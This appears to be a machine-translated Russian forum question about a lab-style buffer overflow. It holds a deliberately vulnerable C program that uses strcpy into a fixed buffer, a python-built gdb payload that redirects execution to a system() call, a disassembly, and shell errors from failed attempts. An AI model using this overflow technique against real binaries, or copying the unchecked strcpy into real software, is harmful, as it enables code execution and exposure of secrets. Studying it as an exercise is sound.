Я пытаюсь выполнить переполнение буфера, которое управляет потоком программы для вызова функции, которая обычно не вызывается.(Это хорошо работает) Кроме того, в этой функции есть функция печати, которая печатает строку, я также должен изменить аргумент в ней на переменную, которая содержит путь к цели.
Я успешно изменилсяПрограмма потока и может вызвать метод печати.Но не с правильным аргументом.Я попытался вставить адрес переменной (найден через 'info address cmd'), но это не сработало.
Я посмотрел на стопку перед самой печатью, и она должна работать ...
C-код:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char cmd[] = "/bin/cat password";
void target()
{
system("/bin/echo 'Have a nice day!'");
}
void copy(char *str)
{
char buf[32];
strcpy(buf, str);
}
int main(int argc, char *argv[])
{
if (argc < 2)
return -1;
copy(argv[1]);
return 0;
}
Мой аргумент:
(gdb) set args `python -c" print '7' * 44 + '\ x49 \ x84\ x04 \ x08 '+' \ x60 \ x3a \ xf7 \ xb7 '"`
Последние 4 символа являются адресом переменной cmd.
disass:
(gdb) disass
Dump of assembler code for function target:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x8
0x08048441 <+6>: sub esp,0xc
0x08048444 <+9>: push 0x8048530
=> 0x08048449 <+14>: call 0x8048310 <system@plt>
0x0804844e <+19>: add esp,0x10
0x08048451 <+22>: nop
0x08048452 <+23>: leave
0x08048453 <+24>: ret
End of assembler dump.
Я сделал точку останова на 0x08048444 (я также изменил аргументы, чтобы вызывать это).Затем я изучил стек и сделал nexti.Я снова проверил и увидел, что в него втолкнули 0x8048530 (что напоминает "Хорошего дня!"cmd. Замена push-адреса адресом по моему выбору (который должен быть распечатан и раскрыть пароль)
Но вывод:
sh: 1: order: not found
Так что я не знаю, где моя ошибка. Неправильно ли указан адрес?-c "print '7' * 44 + '\ x49 \ x84 \ x04 \ x08' + '\ x20 \ xa0 \ x04 \ x08'" `
и получил:
sh: 1: ����: не найдено
Таким образом, в сообщении об ошибке напечатаны сами символы. Я пытался решить эту проблему в течение 2 дней подряд. Поиск в Google не произошелприносить любые полезные результаты для меня. Любая помощь и предложение приветствуется:)